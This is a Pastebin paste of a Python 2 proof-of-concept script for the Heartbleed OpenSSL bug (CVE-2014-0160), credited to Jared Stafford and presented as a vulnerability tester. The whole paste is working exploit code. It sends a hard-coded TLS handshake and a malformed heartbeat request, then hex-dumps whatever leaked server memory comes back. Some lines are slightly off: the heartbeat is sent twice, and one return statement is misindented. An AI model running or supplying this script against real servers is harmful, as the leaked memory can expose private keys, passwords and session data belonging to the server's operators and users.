Advertisement
Lulz-Tigre

py_H34rtBl33d

Jul 7th, 2016
220
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.31 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
  4. # The author disclaims copyright to this source code.
  5. # so don't claim it
  6.  
  7. import sys
  8. import struct
  9. import socket
  10. import time
  11. import select
  12. import re
  13. from optparse import OptionParser
  14. from pprint import pprint
  15.  
  16.  
  17. options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
  18. options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
  19.  
  20. def h2bin(x):
  21.     return x.replace(' ', '').replace('\n', '').decode('hex')
  22.  
  23. hello = h2bin('''
  24. 16 03 02 00  dc 01 00 00 d8 03 02 53
  25. 43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
  26. bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
  27. 00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
  28. 00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
  29. c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
  30. c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
  31. c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
  32. c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
  33. 00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
  34. 03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
  35. 00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
  36. 00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
  37. 00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
  38. 00 0f 00 01 01                                  
  39. ''')
  40.  
  41. hb = h2bin('''
  42. 18 03 02 00 03
  43. 01 40 00
  44. ''')
  45.  
  46. def hexdump(s):
  47.     for b in xrange(0, len(s), 16):
  48.         lin = [c for c in s[b : b + 16]]
  49.         hxdat = ' '.join('%02X' % ord(c) for c in lin)
  50.         pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
  51.         print '  %04x: %-48s %s' % (b, hxdat, pdat)
  52.     print
  53.  
  54. def recvall(s, length, timeout=5):
  55.     endtime = time.time() + timeout
  56.     rdata = ''
  57.     remain = length
  58.     while remain > 0:
  59.         rtime = endtime - time.time()
  60.         if rtime < 0:
  61.             return None
  62.         r, w, e = select.select([s], [], [], 5)
  63.         if s in r:
  64.             data = s.recv(remain)
  65.             # EOF?
  66.             if not data:
  67.                 return None
  68.             rdata += data
  69.             remain -= len(data)
  70.     return rdata
  71.        
  72.  
  73. def recvmsg(s):
  74.     hdr = recvall(s, 5)
  75.     if hdr is None:
  76.         print 'Unexpected EOF receiving record header - server closed connection'
  77.         return None, None, None
  78.     typ, ver, ln = struct.unpack('>BHH', hdr)
  79.     pay = recvall(s, ln, 10)
  80.     if pay is None:
  81.         print 'Unexpected EOF receiving record payload - server closed connection'
  82.         return None, None, None
  83.     print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
  84.     return typ, ver, pay
  85.  
  86. def hit_hb(s):
  87.     s.send(hb)
  88.     while True:
  89.         typ, ver, pay = recvmsg(s)
  90.         if typ is None:
  91.             print 'No heartbeat response received, server likely not vulnerable'
  92.             return False
  93.  
  94.         if typ == 24:
  95.             print 'Received heartbeat response:'
  96.             hexdump(pay)
  97.             pprint(pay)
  98.             if len(pay) > 3:
  99.                 print 'WARNING: server returned more data than it should - server is vulnerable!'
  100.             else:
  101.                 print 'Server processed malformed heartbeat, but did not return any extra data.'
  102.             return True
  103.  
  104.         if typ == 21:
  105.             print 'Received alert:'
  106.             hexdump(pay)
  107.             print 'Server returned error, likely not vulnerable'
  108.             return False
  109.  
  110. def main():
  111.     opts, args = options.parse_args()
  112.     if len(args) < 1:
  113.         options.print_help()
  114.         return
  115.  
  116.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  117.     print 'Connecting...'
  118.     sys.stdout.flush()
  119.     s.connect((args[0], opts.port))
  120.     print 'Sending Client Hello...'
  121.     sys.stdout.flush()
  122.     s.send(hello)
  123.     print 'Waiting for Server Hello...'
  124.     sys.stdout.flush()
  125.     while True:
  126.         typ, ver, pay = recvmsg(s)
  127.         if typ == None:
  128.             print 'Server closed connection without sending Server Hello.'
  129.          return
  130.         # Look for server hello done message.
  131.         if typ == 22 and ord(pay[0]) == 0x0E:
  132.             break
  133.  
  134.     print 'Sending heartbeat request...'
  135.     sys.stdout.flush()
  136.     s.send(hb)
  137.     hit_hb(s)
  138.  
  139. if __name__ == '__main__':
  140.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement